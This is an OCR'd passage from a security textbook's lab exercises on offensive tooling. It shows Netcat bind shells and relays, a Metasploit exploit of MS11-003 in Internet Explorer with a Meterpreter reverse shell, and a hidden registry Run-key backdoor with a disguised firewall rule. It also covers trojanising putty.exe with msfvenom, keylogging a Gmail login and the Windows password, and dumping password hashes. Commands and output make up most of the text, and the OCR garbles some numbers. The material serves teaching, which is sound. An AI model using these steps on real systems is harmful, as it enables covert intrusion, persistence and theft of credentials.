2 IJP_Win_racunara_sa_ pokrenutim_serverom
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Netcat server moze biti iskoriSten i da se po uspostavljanju konekcije izvrsi
neka komanda. Konkretno je pokazano kako se moze Netcat server podesiti da po
prijemu konekcije pozove tekstualni interfejs ka OS (shell) i u¢ini ga dostupnim
klijentu po toj konekciji.

Na Windows OS je pokrenuta komanda kojom se kaze Netcat da osluskuje na
portu (ovdje 4400) i da prilikom odgovaranja na zahtjev klijenta izvrsi komandu
cmd. exe te da komunikaciju sa tim programom (shell) proslijedi do klijenta:
ncat -1 4400 -e cmd

Sada se, na isti nacin kao i u prethodnom slu¢aju, klijent poveze na ovaj
Netcat i dobiva pristup shell-u na ra¢unaru na kom Netcat osluskuje, kako je
prikazano na slici 11.3.

smrdovic@ve16604:~$ nc 192.168.10.143 4400
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2869 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Nmap>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : feB8@::19e7:f96f:e455:1da2%11
IPv4 Address. . . . . . . . . . . ® 192.168.10.143

Subnet Mask . . . . . . . . . . . : 255.255.255.8

Default Gateway . . . . . . . . . = 192.168.18.1

Tunnel adapter isatap.{CBA®2B49-B93E-451E-81D1-32A7E363595C}:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

C:\Program Files (x86)\Nmap>f]

Slika 11.3: Netcat - Windows shell na Linux klijentu preko Netcat

Netcat se moze i koristiti kao posrednik (proxzy) koji omoguéava da se konek-
cija izmedu dva racunara odvija preko jednog ili vise posrednika. Na posredniku
se pokrene komanda kojom osluskuje konekcije i kada primi konekciju uspostav-
lja konekciju sa odredisnim rac¢unarom. Ovdje je, u odnosu na prethodni primjer,
ubacen posrednik, Windows 10 na adresi 192.168.10.104. Ovaj posrednik prihvata
konekcije na portu 4500. Po uspostavljanju konekcije on izvrsava komandu za us-
postavljanje konekcije sa konaénim odredistem (192.168.10.143) na portu 4400.



11.1 Netcat - osnovne koristene komande 257

Ovo se postize komandom:
ncat -1 4500 -e "ncat 192.168.10.143 4400"

Kada se sad sa pocetnog netcat klijent pristupi posredniku komandom:
nc 192.168.10.104 4500 dobiva se pristup kona¢nom serveru (192.168.10.143).
Na slici 11.4 prikazana je veza izmedu klijenta, posrednika i servera i otkucane
komande sa oznakom rednog broja.

3. 5 nc 192.168.10.104 4500 1 C:\> nc -1 4400 -e cmd

2. C:\> ncat -1 4500 -e "ncat

192.168.10.143 4400"
] ]
—» EEE——
. -
Linux Windows 10 Windows
192.165.10.134 192.168.10.104 192.165.10.143

posrednik (relay)

Slika 11.4: Netcat - komunikacija klijent-posrednik-server

Rezultat pristupa serveru se moze vidjeti na slici 11.5.

smrdovic@vB1604:~$ nc 192.168.10.104 4500
Microsoft Windows [Version 6.1.7681]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\studentad\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : Te8@::19e7:T96f:e455:1da2%11
IPv4 Address. . . . . . . . . . . @ 192.168.108.143

Subnet Mask . . . . . . . . . . . © 255.255.255.9

Default Gateway . . . . - - . . . : 192.168.16.1

Slika 11.5: Netcat - preko posrednika
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Sada konacni server zna samo za posrednika koji je uspostavio konekciju sa
njim, a ne vidi originalni izvor konekcije. Ovih posrednika moze biti vise i koriste
se za prikrivanje originalnog izvora napada.

11.2 Upotreba Netcat kao backdoor

Koristenjem Metasploit ubaciti i pokrenuti Netcat na racunaru sa sigurnosnim
propustom. Pri ovome je potrebno ostvariti i slijedece:

1. Zaobilazenje firewall
2. Trajno omogucavanje pristupa

Rjesenje: Ovdje je ponovo koristen isti pasivni Metasploit napad kao u prosloj
vjezbi. Napad je na web preglednik. Ovaj napad je iskoriSten da se omogudi tra-
jan pristup racunaru zrtve bez znanja i saglasnosti zrtve i bez unosenja lozinke
(backdoor). Za ovaj napad su koristene postavke koje su blize realnom napadu.

Propust koji je iskoristen je MS11-003, koji postoji na Internet Explorer 6 do
8 (na Windows XP, Windows 7 i server 2008) i omogucava izvrsavanje koda po
zelji napadaca.

U Metasploit konzoli je izabrano da se koristi kod za ovaj propust komandom:
use exploit/windows/browser/ms11 003_ie_css_import

Ovaj kod pokreée HTTP server (na izabranoj IP adresi i portu) gdje na lokaciji
po izboru napadaca posluzuje web pregledniku zlonamjerni kod koji iskoristava
propust. Opcije koje je su za ovo bile podesene su;
set srvhost 192.168.10.134
pokre¢e HTTP server na ra¢unaru napadaca®.

set srvport 80
pokreée server na portu 80 (standardnom za web server)?.

set uripath ispitna_pitanja.htm
podesava naziv lokacije sa koje se posluzuje napadacki kod (ovdje je to nesto to

3 Podesavanje ove opcije nije neophodno, jer i ako se ostavi inicijalna IP adresa 0.0.0.0
HTTP server se pokrece na lokalnom racunaru

4 Potrebno je osigurati da ovaj port nije zauzet od strane neke druge aplikacije - HT' TP
servera
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moze zvucati primamljivo studentima).

Kao zlonamjerni kod koristen je Meterpreter. Meterpreter je vrlo moéno
okruzenje uradeno kao DLL koji se izvrsava u memoriji. Omogucéava izvrsavanje
viSe komandi i uc¢itavanje dodatnih modula tokom napada, po potrebi. Opet je za
uspostavljanje konekcije koristen reverzni TCP, ali ovaj put po portu 443 koji se
uobicajeno koristi za HTTPS i uglavnom je otvoren na firewall. Za ovo se koristi
komanda:
set payload windows/meterpreter/reverse_tcp

Opcije koje je je bile potrebno podesiti su;
set lhost 192.168.10.134
set lport 80

Podesene opcije su prikazane na slici 11.6.

msf exploit( ) > show options

Module options (exploit/windows/browser/msi1l_003_1ie css_import):

Name Current Setting Required Description

OBFUSCATE true no Enable JavaScript obfuscation

SRVHOST 192.168.10.134 yes The local host to listen on. This m
ust be an address on the local machine or 0.0.0.0

SRVPORT 88 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connecti
ons

SSLCert no Path to a custom SSL certificate (d
efault is randomly generated)

URIPATH ispitna_pitanja.htm no The URI to use for this exploit (de

fault is random)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, threa
d, process, none)

LHOST 192.168.10.134 yes The listen address

LPORT 443 yes The listen port

Slika 11.6: Metasploit - Podesenja za MS11-003

Nakon podesenja napad se pokrece komandom:
exploit
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(a moze i alternativno komandom run)

Metasploit ispisuje obavijest da je pokrenuo server koji ocekuje konekciju sa
7rtve (reverznu) na izabranoj IP adresi (192.168.10.134) i portu (443), te da
je pokrenut HTTP server koji zlonamjerni kod posluzuje sa izabrane lokacije
(http://192.168.10.134 /ispitna_pitanja.htm).

Sad je potrebno zrtvu navesti da pristupi ovoj lokaciji. O nac¢inima da se to
postigne detaljnije je opisano u poglavlju o ljudskom faktoru. Ovdje se samo pret-
postavlja da zrtva pristupa navedenoj lokaciji.

Zrtva je u ovom slucaju korisnik koji pristupa koristeéi Internet Explorer 8
na Windows 7. To je oc¢igledno neazuriran web preglednik kao i OS. Medutim,
dobro dode u pokazne svrhe. Nakon pristupa lokaciji sa zlonamjernim kodom
(http://192.168.10.134 /ispitna_pitanja.htm), Metasploit, kao odgovor na HTTP
zahtjev dostavlja niz bajta koji iskoristava sigurnosni propust MS11-003 i pokrece
Meterpreter sesiju sa rac¢unara zrtve ka racunaru napadaca po portu 443. O ovome
se ispisuju podaci u Metasploit konzoli, kao na slici 11.7.

msf exploit( ) = exploit

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.10.134:443

[*] Using URL: http://192.168.10.134:80/ispitna_pitanja.htm

[*] Server started.

[*] 192.168.160.143 ms11l_003_ie_css_import - Received request for "/ispitna_pit
anja.htm"

[*] 192.168.10.143 ms11_003_ie_css_import - Sending redirect

[*] 192.168.160.143 ms11_003_ie_css_import - Received request for "/ispitna_pit
anja.htm/MOuUN.html"

[*] 192.168.18.143 ms11_003_ie _css_import - Sending HTML

[*] 192.168.18.143 ms11_003_ie_css_import - Received request for "/ispitna_pit
anja.htm/generic-1482217756.d11"

[*] 192.168.18.143 ms11_003_1ie_css_import - Sending .NET DLL

[*] 192.168.108.143 ms11_003_ie_css_import - Received request for "/ispitna_pit
anja.htm/\xEE\x80\xAB\XE1\x81\x9A\XEE\xBO\XxAO\ XE1\ x81\x9A\ XEE\ X80\ xAO\ XE1\x81\x9

A\XEE\x80\xAB\xE1\xB1\x9A"

[*] 192.168.108.143 ms11_003_1ie_css_import - Sending CSS

[#] Sending stage (957999 bytes) to 192.168.10.143

[*] Meterpreter session 1 opened (192.168.10.134:443 -> 192.168.10.143:49206) at
2016-12-20 08:09:20 +0100

[*] Session ID 1 (192.168.10.134:443 -> 192.168.10.143:49206) processing Initial

AutoRunScript 'migrate -T°'

msf exploit( ¢ - ) > i

Slika 11.7: Metasploit - Iskori§tavanje propusta MS11-003 sa Meterpreter konekcijom
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Posljednja linija u Metasploit ispisu kaze da je ID pokrenute sesije 1. Da bi se
povezalo na tu sesiju potrebno je otkucati komadu kojom se bira sesija sa kojom
¢e biti vrSena interakcija:
sessions -i 1

Sada se prompt mijenja u:
meterpreter>

Kako je ranije rec¢eno, Meterpreter je moéno okruzenje koje ima veliki broj
mogucnosti. Pregled komadi moze se dobiti komandom help. Ovdje ¢e biti
koristene komande za postizanje zeljenog cilja. Jo§ neke od komandi ée biti
obradene do kraja poglavlja, a neke i na narednim poglavljima. Za ostatak se
¢itaoci upuéuju na Metasploit dokumentaciju [44], ranije pomenutu knjigu [21] i
web lokaciju Offensive Security [48], sa koje su preuzete neke od ideja navedenih
ovdje.

Komandom sysinfo dobivaju se informacije o sistemu sa kojim je Meterpreter
povezan kao na slici 11.8.

meterpreter > sysinfo

Computer : TS_VM

0s : Windows 7 (Build 7601, Service Pack 1).
Architecture 1 x64

System Language : bs_BA

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x86/windows

Slika 11.8: Meterpreter - Informacije o udaljenom sistemu

Komandom getuid dobiva se informacija o korisniku pod ¢ijom prijavom je
ostvarena konekcija. To je u ovom sluc¢aju TS_VM\studentad

Ovo jeste privilegovani korisnik, ali nije najmoé¢niji korisnik na Windows OS
"SYSTEM”. Meterpreter omogucava da se komandom getsystem ”prede” na
ovog korisnika®.

Nakon sto je napadac postao najprivilegovaniji Windows korisnik korisno je

da migrira Meterpreter sesiju sa programa ¢iji je propust iskoristio (IE) na neki
5 Na napadnutom sistemu je bio iskljuéen UAC pa je getsystem odmah uspio. Ovo je
uradeno radi ustede vremena i prostora u vjezbi. Inace je potrebno izvrsiti Metasploit
napad koji zaobilazi UAC, o ¢emu se viSe uputa moze nac¢i u Metasploit dokumentaciji
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drugi program. Korisnik web preglednika ¢e primijetiti da web preglednik ne re-
aguje i zatvoric¢e ga. Time ¢e i Meterpreter sesija biti zatvorena.

Komandom getpid moze se do¢i do informacije o ID procesa koji koristi
Meterpreter sesija. Komandom ps mogu se izlistati svi procesi na udaljenom
racunaru. Sa slika 11.9 i 11.10 mogu se vidjeti izvrSene komande i dio rezultata
ps komande koji je bitan.

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getpid

Current pid: 1668

meterpreter > ps

Process List

PID PPID MName Arch Session User Pat
h
i] 8 [System Process]
Slika 11.9: Meterpreter - getsystem, getpid i ps komande
1652 420 explorer.exe x64 1 TS_VM\studentad £oy
Windows\explorer.exe
1668 960  iexplore.exe x86 1 TS_VM\studentad E=X

Program Files (x86)\Internet Explorer\iexplore.exe

Slika 11.10: Meterpreter - Dio ispisa ps komande

Izabrano je da se migrira na proces explorer.exe ¢iji je broj 1652 koman-
dom:

migrate -P 1652
koja je uspjesno izvrSena kako se vidi sa slike 11.11.

Postojeta Meterpreter sesija iskoriStena je da se pokaze jedan od nacina da
se omogudi trajan pristup racunaru zrtve bez oslanjanja na otkriveni sigurnosni
propust. Ovdje ¢e Netcat biti iskoristen da se na ra¢unaru zrtve omoguéi pristup
komandnoj liniji. Za ovo je potrebno:

1. prebaciti Netcat na racunar zrtve
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meterpreter > migrate -P 1652
[*] Migrating from 1668 to 1652...
[*] Migration completed successfully.

meterpreter > getpid
Current pid: 1652

Slika 11.11: Meterpreter - Rezultat migrate komande

2. podesiti da se Netcat server koji omoguéava pristup komandnoj liniji (kako
je prethodno pokazano) pokrene svaki put kad se pokrene racunar zrtve
3. otvoriti port na FW koji ¢e omogucavati ovaj pristup

Navedeni koraci ¢e biti uradeni u otvorenoj Meterpreter sesiji.

Prvi korak je prebacivanje izvrsne Netcat datoteke na racunar zrtve. Ovdje
je potrebno prebaciti datoteku koja je samostalna, odnosno ne zavisi od bibli-
oteka, jer nije poznato okruzenje u kom ¢ée se izvrSavati. Ncat koji je preuzet u
sklopu Nmap paketa nije ovakav. Iz tog razloga iskoriStena je portabilna verzija
Ncat koja je napravljena iz izvornog koda (uz staticko linkovanje). Ova datoteka
dostupna je na http://trunk.shinnok.com/ pod nazivom ncat_upx.exe. Al-
ternativa je upotreba starije verzije Netcat za Windows ili samostalno pravljenje
portabilne izvrsne verzije Ncat.

Datoteka ncat_upx.exe prebacena je sa lokacije na kojoj se nalazila na
racunaru napadaca na lokaciju c:\windows\system32 na racunaru zrtve. Lo-
kacija je izabrana jer se na njoj nalaze sistemske datoteke i zrtva vjerovatno nece
brisati ove datoteke. Mogla je biti izabrana i druga lokacija. Prebacivanje se vrsi
komandom:
upload /home/smrdovic/Downloads/ncat_upx.exe c:\windows\system32

Upisivanjem odgovarajuceg unosa u registre moguce je podesiti da se odredeni
program izvrsi prilikom svakog pokretanja racunara. Postoji vise lokacija na koje
se moze izvrsiti ovo upisivanje. Ovdje je izabrana ona koja je karakteristicna za
64 bitni Windows 7 i manje poznata
(HKEY_LOCAL_MACHINE\\SOFTWARE\ \ Wow6432Node\ \Microsoft
\\Windows\\CurrentVersion\ \Run), $to smanjuje anse otkrivanja. Meterpreter
ima komande za rad sa registrima. Komanda koja treba da se izvrsi je pokretanje
ncat_upx.exe datoteka sa opcijama -L (server koji nastavlja rad i kad se klijent
otkaci), -d (diskretan rad odvojen od command prompt) i -p (port na kom Ce
osluskivati). Izabran je port 455 jer je slican portu 445 koji se koristi za SMB i
vrlo ¢esto je otvoren. Unos u registre treba imati ime i izabrano je SMB (radi
slicnosti portova i tezeg otkrivanja). Meterpreter komanda kojom je ovo uradeno
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je (u jednoj liniji):

reg setval -k HKLM\\SOFTWARE)\\Wow6432Node\\Microsoft\\Windows
\\CurrentVersion\\Run -v SMB

-d ’C:\windows\system32\ncat_upx.exe -Ldp 455 -e cmd.exe’

Provjeru da li je upisana zeljena vrijednost moze se uraditi upotrebom para-
metra queryval:
reg queryval -k HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows
\\CurrentVersion\\Run -v SMB

koji bi trebao vratiti upisanu komandu.

Windows ima komande koje omogué¢avaju uredivanje firewall pravila. Za ovo
je prvo neophodno preé¢i na komandnu liniju na racunaru zrtve. To se postize
unosom komande shell u Meterpreteru.

Komanda Windows 7 OS kojom se dodaje firewall pravilo koje omoguéava
pristup izvana po izabranom portu 445 i koje se zove SMB (proizvoljno izabrano
ime za pravilo) je (u jednoj liniji):
netsh advfirewall firewall add rule name=SMB dir=in action=allow
protocol=TCP localport=455

Broj porta i naziv su izabrani tako da nepazljivi promatra¢ firewall pravila
ne primijeti da se ne radi o SMB portu 445, ve¢ o portu koji izgleda vrlo sli¢no.

Sada je sve spremno. Po restartovanju ra¢unara zrtve njegova komandna linija
bi trebala biti dostupna na portu 455. Potrebno je vratiti se iz komandno linijskog
okruzenja na ra¢unaru zrtve u Meterpreter komandom exit. Meterpreter sesija
se okoncava komandom exit (ili quit).

Restartovan je napadnuti rac¢unar. Sa ra¢unara napadaca upotrebom Netcat

alata pristupljeno je racunaru zrtve po portu 455. Rezultat je bio dobivanje pris-
tupa komandnoj liniji na racunaru zrtve, $to se vidi na slici 11.12.

11.3 Upotreba Metasploit za pravljenje backdoor

Koristenjem Metasploit u postojeéu izvrsnu datoteku ubaciti kod koji omogucava
povezivanje sa napadnutog OS.
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smrdovic@vB1604:~5 nc 192.168.10.143 455
Microsoft Windows [Version 6.1.76081]
Copyright (c) 2889 Microsoft Corporation. All rights reserved.

C:\Windows\SysWOW64>1pconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::19e7:f96f:e455:1da2%11
IPv4 Address. . . . . . . . . . . @ 192.168.10.143

Subnet Mask . . . . . . . . . . . & 255.255.255.0

Default Gateway . . . . . . . . . ! 192.168.10.1

Slika 11.12: Netcat - Backdoor

Rjesenje: Za postojecu izvrsnu datoteku u koju Ce se ubaciti zlonamjerni kod
izabran je putty,exe. Ovo je datoteka u kojoj se nalazi popularna open source
aplikacija najpoznatija kao SSH klijent, ali koja se koristi i za emulaciju termi-
nala, serijsku konzolu i kao klijent za druge protokole poput telnet i SCP.

Izvrsna putty.exe datoteka preuzeta je putem wget komande sa web lokacije
autora aplikacije gdje se nalazi aktuelna stabilna verzija:
wget http://the.earth.li/ sgtatham/putty/latest/x86/putty.exe

Za ubacivanje zlonamjernog koda u putty.exe datoteku iskoristen je pro-
gram msfvenom koji je dio Metasploit-a. Msfvenom je noviji, od 2015, alat, koji
je kombinacija ranija dva alata Msfpayload i Msfencode, i objedinjava njihove
funkcionalnosti. Koristena komanda, ¢iji ¢e parametri biti objasnjeni ispod, je (u
jednoj liniji);

msfvenom —a x86 —platform windows —x putty.exe —k

—p windows/meterpreter /reverse_tcp LHOST=192.168.10.134
LPORT=443 —e x86/shikata_ga_nai —i 3 —b ’\x00’ —f exe
—o puttyX.exe

e Opcija 7-a” (—arch) oznacava hardversku arhitekturu za koju se dodaje zlo-
namjerni kod. Izabrana je "x86” arhitektura;

e Opcija ”—platform” oznacava platformu (uglavnom operativni sistem) za koju
se dodaje zlonamjerni kod. Izabrana je ”windows” platforma (OS);

e Opcija ”-x” (~template) oznacava izvrsnu datoteku u koju se ubacuje kod.

Izabrana je prethodno preuzeta ”"putty.exe” datoteka (potrebno je navesti

putanju do datoteke);
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Opcija ”-k” (~keep) oznacava da treba sa¢uvati ponasanje (rad) programa u
koji se ubacuje i zlonamjerni kod pokrenuti kao posebnu nit (thread). Na ovaj
nacin se od zrtve koja pokrene program sa dodanim zlonamjernim kodom
krije ¢injenica da je u program nesto dodato;

Opcija 7-p” (-payload) oznacava kod za izvrSavanje zlonamjernih akcija

(payload) koji se zeli koristiti. Izabran je, i prethodno ¢esto koristeni, kod

koji ¢e pokrenuti meterpreter tcp sesiju sa racunara zrtve ka racunaru na-

padaca;

— Parametar "LHOST” je dio podesavanja koda koji se izvrsava i oznacava
adresu sa kojom zrtva treba uspostaviti meterpreter sesiju Izabrana je
adresa ra¢unara na kom ¢e biti pokrenut Metasploit server koji ¢e ocekivati
ovu konekciju, 192.168.10.134;

— Parametar "LPORT” je, takode, dio podesavanja koda koji se izvrsava i
oznacava port sa kojim zrtva treba uspostaviti meterpreter sesiju Izabran
je port 443 se osigura prolazak kroz firewall, kako je ranije objasnjeno.

Opcija "-¢” (—encoder) oznacava kodiranje zlonamjernog koda koje se zeli

koristiti. Kodiranje omoguéava da se zlonamjerni kod koji generise Metas-

ploit prilagodi okruzenju i omoguéi njegovo izvrsavanje. Visestruko kodiranje
koriSteno je nekad za sakrivanje od antivirusnih alata, ali savremeni AV alati
to sada otkrivaju. Izabrano je "x86/shikata_ga_nai” kodiranje;

Opcija 7-1” (-iterations) oznacava koliko puta se Zeli uraditi izabrano kodira-

nje. Izabrano je da se uradi ”3” puta;

Opcija ”-b” (~bad-chars) oznac¢ava znakove koji ne smiju da se pojave u zlona-

mjernom kodu poput bajta sa vrijednoséu nula kako je objasnjeno u poglavlju

o sigurnosti programa (Poglavlje 5). Izabrano je da su nedozvoljeni znakovi

upravo bajti sa vrijednoséu nula, ”\x007;

Opcija”-f” (—format) oznacava format koji izlazna datoteka, rezultat izvrsenja

komande, treba da ima. Izabran je ”exe” format, isti kao i kod datoteke u koju

se kod ubacuje;

Opcija ”-0” (—out) oznacava naziv izlazne datoteke koja ée biti rezultat

izvrsavanja komande. Izabrano je ime sli¢no originalnom ”puttyX.exe”.

Po izvrsenju komande dobiva se obavjestenje da je kod ubacen i da je izvrSeno

njegovo kodiranje tri puta, te da je velicina ubacenog koda 414 bajta. Ispisuje
se 1 naziv datoteke (izabran u sklopu komande) u koju je sacuvana nova verzija
datoteke sa ubacenim kodom.

Da bi se sakrila izmjena i zrtva lakSe navela da pokrene izmijenjeni program,

ime datoteke je promijenjeno u putty.exe (kao Sto je originalno ime neizmije-
njene datoteke).
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Sada je potrebno zrtvu navesti da preuzme i instalira ovu verziju Putty u koju
je ubacen zlonamjerni kod. Tim pitanjem se bavi poglavlje o ljudskom faktoru
u sigurnosti (Poglavlje 14). Postoji i moguénost da se iskoristavanjem nekog od
sigurnosnih propusta originalna verzija ovog softvera na zrtvi zamijeniti ovom
zarazenom. Ovdje ¢e se pretpostaviti da postoji nacin da se nesto od navedenog
uradi.

Prije pokretanja izmijenjene datoteke na racunaru zrtve potrebno je na
racunaru napadaca pokrenuti proces koji prihvata konekciju i po njoj uspostavlja
meterpreter sesiju. To se postize na slijedeé¢i nacin:

Potrebno je pokrenuti Metasploit konzolu:
sudo msfconsole

Potrebno je izabrati da se koristi genericki kod (exploit):
use exploit/multi/handler

Potrebno je izabrati da se ocekuje Windows meterpreter reverzna konekcija
po TCP , te podesiti parametre (LHOST i LPORT) za konekeiju (analogno onom
§to je ubaceno kao zlonamjerni kod):
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.134
set LPORT 443

Na kraju je potrebno pokrenuti definisani napad, proces koji o¢ekuje konek-
ciju:
exploit

Nakon unoSenja komandi Metasploit prelazi u stanje ocekivanja konekcije,
kako je prikazano na slici 11.13.

Sada je potrebno da zZrtva pokrene izmijenjeni putty.exe, dvoklikom. Na
racunaru zrtve se tada otvara normalni pocetni prozor Putty aplikacije koja je
potpuno funkcionalna, kako je prikazano na slici 11.14 (u pozadini se vidi datoteka
koja je pokrenuta).

Istovremeno se u pozadini, nevidljivo Zrtvi pokreée meterpreter sesija sa
napadacem, kako se vidi na slici 11.15.

Ovdje je neophodno napomenuti da na ra¢unaru zrtve nije bio aktivan an-
tivirusni softver, jer bi inaCe izmijenjena datoteka bila odmah prepoznata kao
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msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.134

LHOST == 192.168.10.134

msf exploit(handler) > set LPORT 443

LPORT => 443

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.10.134:443
i*] Starting the payload handler...

Slika 11.13: Netcat - Pokretanje meterpreter listener

MName Date mc‘difir:d Type Size
@ putty.exe 7.2.2017 8:28 Application 529 KB
& PuTTY Configuration @
Cateqgory:
B- S_ession ! Basic options for your PuTTY session
: ~ Logging Specify the destination you want to connect to

i et Host N IP add Port
.. Keyboard ost Mame (or |P address) ol
~ Bel | 2
- Features Connection type:

- Window ) Raw () Telnet () Rlogin @ SSH  (7) Serial
Appea@nce Load, save or delete a stored session
- Behaviour
- Translation Saved Sessions
- Selection
- Colours ;

Default Settings

= Connection Laad
- Provgy
- Rlogin

(- S5H
o Close window on ext:
(7) Mways () Never @ Only on clean exit

Bhewdt | —rr— ||

Slika 11.14: Putty - sa umetnutim zlonamjernim kodom
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msf > use exploit/multi/handler

msf exploit( ) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

nsf exploit( ) > set LHOST 192.168.10.134

LHOST => 192.168.10.134

msf exploit( ) > set LPORT 443

LPORT => 443

msf exploit( ) > exploit

Started reverse TCP handler on 192.168.10.134:443

Starting the payload handler...

Sending stage (957999 bytes) to 192.168.10.144

] Meterpreter session 1 opened (192.168.10.134:443 -> 192.168.10.144:1041) at
017-02-07 10:14:11 +0100

* % % %
Rl b ed

[
[
[
[
2

meterpreter > ||

Slika 11.15: Metasploit - meterpreter sesija od zrtve

zlonamjerna.

Ovdje je pokazana samo jedna upotreba Msfvenom alata. To je alat sa jos
dodatnih moguénosti, od kojih ¢e jedna biti pokazana u poglavlju o sigurnosti
mobilnih aplikacija. Za vise informacija potrebno je pogledati literaturu pome-
nutu u prethodnom poglavlju, [44] [21].

Uspostavljena meterpreter sesija bice iskoristena da se pokazu jos neke od
mogucnosti meterpreter-a.

Jedna od njih je moguénost pohranjivanja onoga sto korisnik na ra¢unaru, sa
kojim je uspostavljena meterpreter sesija, kuca na tastaturi (key logger). To se
radi na slijedeéi nacin:

Potrebno je pokrenuti pohranjivanje unosa sa tastature komandom:
meterpreter > keyscan_start

Neka je sada korisnik na rac¢unaru koji se prisluskuje pokrenuo Notepad apli-
kaciju kucanjem ”Notepad” na Start meniju, te unio neki tekst u Notepad. Neka
je zatim pokrenuo web preglednik i u njega ukucao ”mail.google.com”, te unio
korisnicko ime i lozinku. Ove akcije prikazane su na slici 11.16.

Kada se u meterpreter konzoli otkuca komanda za ispis otkucanog na tas-
taturi keydump dobije se sve Sto je korisnik kucao, kako se vidi na slici 11.17.

Potrebno je napomenuti da iako je koristen HT'TPS za konekciju lozinka je i
dalje bila dostupna jer je snimljena na racunaru prije nego $to je poslana serveru
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-

p ; =
| & Gmail ® |+ [eE=]

s b

€ ) @ @ httpsy/faccounts.google ¢ || Q Search » =

| Untitled - Notepad el -E-
File Edit Format WYiew Help

ovo je tajni tekst. -
4 2

smrdovic@gmail.com

[ Stay signed in Forgot password?

Slika 11.16: Zrtva - unos teksta i korisnickog imena i lozinke

meterpreter > keyscan_start |
Starting the keystroke sniffer...

meterpreter > keyscan_dump

Dumping captured keystrokes...

notepad <Return> Ovo je tajni tekst. <Return> mail.google.com <Return=>
smrdovicPogresna

meterpreter > ]

g mem —n

Slika 11.17: Napadac - ispis onog §to je zrtva kucala na tastaturi

preko HTTPS.

Ovo je osnovni na¢in rada koji moze posluziti, ali ima i nedostataka. Jedan
nedostatak je da se na ovaj nacin ne moze doé¢i do Windows lozinke korisnika.
Da bi to bilo moguée potrebno je pronaéi PID winlogon.exe procesa i migrirati
meterpreter na taj proces. Onda je potrebno cekati da korisnik, recimo zakljuca
rac¢unar, te unese svoju korisnicku lozinku za otkljucavanje.
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Komandom ps ustanovljeno je da je PID winlogon.exe procesa 420. Posto je
to privilegovan proces prvo je potrebno postati privilegovani korisnik ”SYSTEM”
komandom:
getsystem

kako je bilo uradeno i ranije. Zatim je izvrSena migracija na proces 420
(winlogon.exe) komandom:
migrate 420

Pokrenuto je snimanje kucanja na tastaturi komandom: keyscan_start

Korisnik racunara zrtve je zakljucao ra¢unar, te unio svoju Windows lozinku
za otkljucavanje. Ispisani su uhvaéeni unosi sa tastature komandom:
keyscan_dump

Windows lozinka korisnika je ”uhvac¢ena” kako je prikazano na slici 11.18.

meterpreter > migrate 420

[*] Migrating from 2940 to 420...

[*] Migration completed successfully.
meterpreter >

meterpreter > keyscan_start

Starting the keystroke sniffer...
meterpreter > keyscan_dump

Dumping captured keystrokes...
Pass1234 <Return>

Slika 11.18: Napadaé - uhva¢ena Windows lozinka

Treba primijetiti da se u ovom slucaju ne hvataju drugi unosi na tastaturi,
ve¢ samo oni u winlogon proces §to je bio i cilj.

Bic¢e pokazana jos jedna jednostavna, ali moéna komanda. Ona omogucava da
se ispiSe sadrzaj datoteke sa zapisima lozinki na operativnom sistemu. Komanda
je hashdump. rezultat njenog unosenja prikazan je na slici 11.19.

Moze se vidjeti da se doslo do OS zapisa lozinki na koje se sada mogu pri-
mijeniti metode opisane u poglavlju o ispitivanju sigurnosti lozinki (Poglavlje
3),
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meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfedd16ae931b73c
59d7e0cOH89cH: 1 :
dugacki:1004:aad3b435b51404eeaad3b435b51404ee:cf7771248bde3fabc95cad491d
47e9108:::
Guest:501:aad3b435b51404eeaad3b4a35b51404ee:31d6cfedd16ae931b73c59d7e0cO
89cHB:::
naivni:1002:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a0
3510ef:::
razumni:1003:aad3b435b51404eeaad3b435b51404ee:0bbfbd649fc3fd7f7e4b19218
S5aef354:::
student:1001:aad3b435b51404eeaad3b435b51404ee:eabq4556003a83e179a149ce65
83eB97T:::
studentad:1000:aad3b435b51404eeaad3b435b51404ee:6364271el1a2232e42ech340
6eeb8f823:::

meterpreter > |J

Slika 11.19: Rezultat hashdump komande
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VJEZBA: Upravljanje digitalnim pravima -
Reverzni inzenjering

Upoznavanje studenata sa mogué¢im napadima na zastite od neovlastene upotrebe
izvrsnih programa. Ovi napadi omogucavaju izmjenu izvrsnog koda koja zaobilazi
provjeru ovlastenja za upotrebu programa bez poznavanja izvornog koda.

Konkretno je potrebno uraditi reverzni inzenjering programa koji je koristen
u vjezbi vezanoj za preljev meduspremnika.

12.1 Alat - OllyDbg
Potrebno je preuzeti i instalirati Windows debugger OllyDbg.

Rjesenje: OllyDbg je debugger za x86 platforme pogodan za binarnu analizu
programa. Ovaj alat radi na Windows OS. Postoje i drugi alati sa vise moguénosti
poput IDA Pro disasemblera. OllyDbg je besplatan i ima dovoljno moguénosti
da se za edukativne svrhe objasni proces reverznog inzenjeringa.

Azurna verzija OllyDbg u vrijeme pisanja bila je 2.01. Instalaciona datoteka
moze se preuzeti sa adrese http://www.ollydbg.de/version2.html. Datoteka
je kompresovana zip datoteka. Datoteku je potrebno raspakovati na zeljenu loka-
ciju i time je instalacija zavrsena.
